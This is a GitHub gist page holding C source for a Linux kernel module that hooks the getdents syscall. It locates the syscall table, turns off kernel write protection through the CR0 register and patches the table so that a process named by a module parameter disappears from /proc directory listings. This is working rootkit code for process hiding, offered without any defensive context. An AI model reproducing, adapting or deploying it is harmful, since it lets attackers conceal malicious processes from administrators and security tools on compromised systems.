Created
December 30, 2017 16:52
-
-
Save antonstakhouski/0b2271771c1495662c10d5853f6481aa to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/module.h> | |
#include <linux/kallsyms.h> | |
#include <linux/syscalls.h> | |
#include <linux/kernel.h> | |
#include <linux/fdtable.h> | |
#include <linux/slab.h> | |
#include <linux/fs.h> | |
#include <asm/uaccess.h> | |
static void **sct; | |
#define PROT_DIS() write_cr0(read_cr0() & (~(1 << 16))) | |
#define PROT_EN() write_cr0(read_cr0() | (1 << 16)) | |
static char* target_name = "foo"; | |
module_param(target_name, charp, S_IRUSR | S_IWUSR); | |
MODULE_PARM_DESC(target_name, "Process name to hide"); | |
bool is_proc(unsigned int fd) | |
{ | |
bool res = false; | |
struct task_struct *ts; | |
struct file *f; | |
ts = current; | |
spin_lock(&ts->files->file_lock); | |
f = fcheck_files(ts->files, fd); | |
spin_unlock(&ts->files->file_lock); | |
path_get(&f->f_path); | |
{ | |
char *path; | |
void *fname; | |
fname = (void *)__get_free_page(GFP_KERNEL); | |
path = d_path(&f->f_path, fname, PAGE_SIZE); | |
res = !strcmp(path, "/proc"); | |
free_page((unsigned long)fname); | |
} | |
path_put(&f->f_path); | |
return res; | |
} | |
asmlinkage long (*getdents_org)(unsigned int fd, | |
struct linux_dirent __user * dirent, | |
unsigned int count); | |
struct linux_dirent { | |
unsigned long d_ino; | |
unsigned long d_off; | |
unsigned short d_reclen; | |
char d_name[1]; | |
}; | |
asmlinkage long getdents_new(unsigned int fd, | |
struct linux_dirent __user * dirent, | |
unsigned int count) | |
{ | |
long res; | |
void *pbuf; | |
res = getdents_org(fd, dirent, count); | |
if (!res) | |
return res; | |
if (!is_proc(fd)) | |
return res; | |
pbuf = kzalloc(res, GFP_KERNEL); | |
copy_from_user(pbuf, dirent, res); | |
{ | |
unsigned long curr_pid = 0; | |
unsigned long target_pid = 0; | |
void *ptr; | |
struct task_struct *p; | |
rcu_read_lock(); | |
list_for_each_entry_rcu(p, &init_task.tasks, tasks) | |
{ | |
if (!strcmp(p->comm, target_name)) | |
{ | |
target_pid = p->pid; | |
ptr = pbuf; | |
while (ptr < (pbuf + res)) | |
{ | |
struct linux_dirent *ldir; | |
ldir = (struct linux_dirent *)ptr; | |
printk("Offset: %lu, reclen: %u", ldir->d_off, ldir->d_reclen); | |
kstrtol(ldir->d_name, 10, &curr_pid); | |
if (curr_pid == target_pid) | |
{ | |
memcpy(ptr, ptr + ldir->d_reclen, | |
res - (ptr - pbuf) - ldir->d_reclen); | |
res -= ldir->d_reclen; | |
break; | |
} | |
ptr += ldir->d_reclen; | |
} | |
} | |
} | |
rcu_read_unlock(); | |
} | |
copy_to_user(dirent, pbuf, res); | |
kfree(pbuf); | |
return res; | |
} | |
static int __init sch_init(void) | |
{ | |
bool was_found = false; | |
// Obtain address of the `sys_call_table` | |
#if CONFIG_KALLSYMS | |
// kallsyms | |
sct = (void *)kallsyms_lookup_name("sys_call_table"); | |
was_found = true; | |
#else | |
unsigned long handler; | |
int i; | |
// pattern search | |
rdmsrl(MSR_LSTAR, handler); | |
/* | |
print_hex_dump(KERN_DEBUG, 0, DUMP_PREFIX_OFFSET, | |
16, 1, (void *)sch, 0x80, false); | |
*/ | |
for (i = 0; i < 0x70; ++i) | |
{ | |
unsigned char *p; | |
int *sctl; | |
p = (char *)handler; | |
/* | |
4c 89 d1 | |
ff 14 c5 XX XX XX XX | |
48 89 44 24 50 | |
*/ | |
if ( (p[i + 0] == 0x4c) && (p[i + 1] == 0x89) && (p[i + 2] == 0xd1) | |
&& (p[i + 3] == 0xff) && (p[i + 4] == 0x14) && (p[i + 5] == 0xc5) | |
&& (p[i +10] == 0x48) && (p[i +11] == 0x89) && (p[i +12] == 0x44)) | |
{ | |
sctl = (int *)&p[i + 6]; | |
sct = (unsigned long)(0xffff << 32u) | ((unsigned long)*sctl); | |
was_found = true; | |
} | |
} | |
#endif | |
if (!was_found) | |
return -ENODEV; | |
printk("> %p\n", sct); | |
getdents_org = sct[__NR_getdents]; | |
PROT_DIS(); | |
sct[__NR_getdents] = getdents_new; | |
PROT_EN(); | |
return 0; | |
} | |
static void __exit sch_exit(void) | |
{ | |
PROT_DIS(); | |
sct[__NR_getdents] = getdents_org; | |
PROT_EN(); | |
} | |
module_init(sch_init); | |
module_exit(sch_exit); | |
MODULE_LICENSE("GPL"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment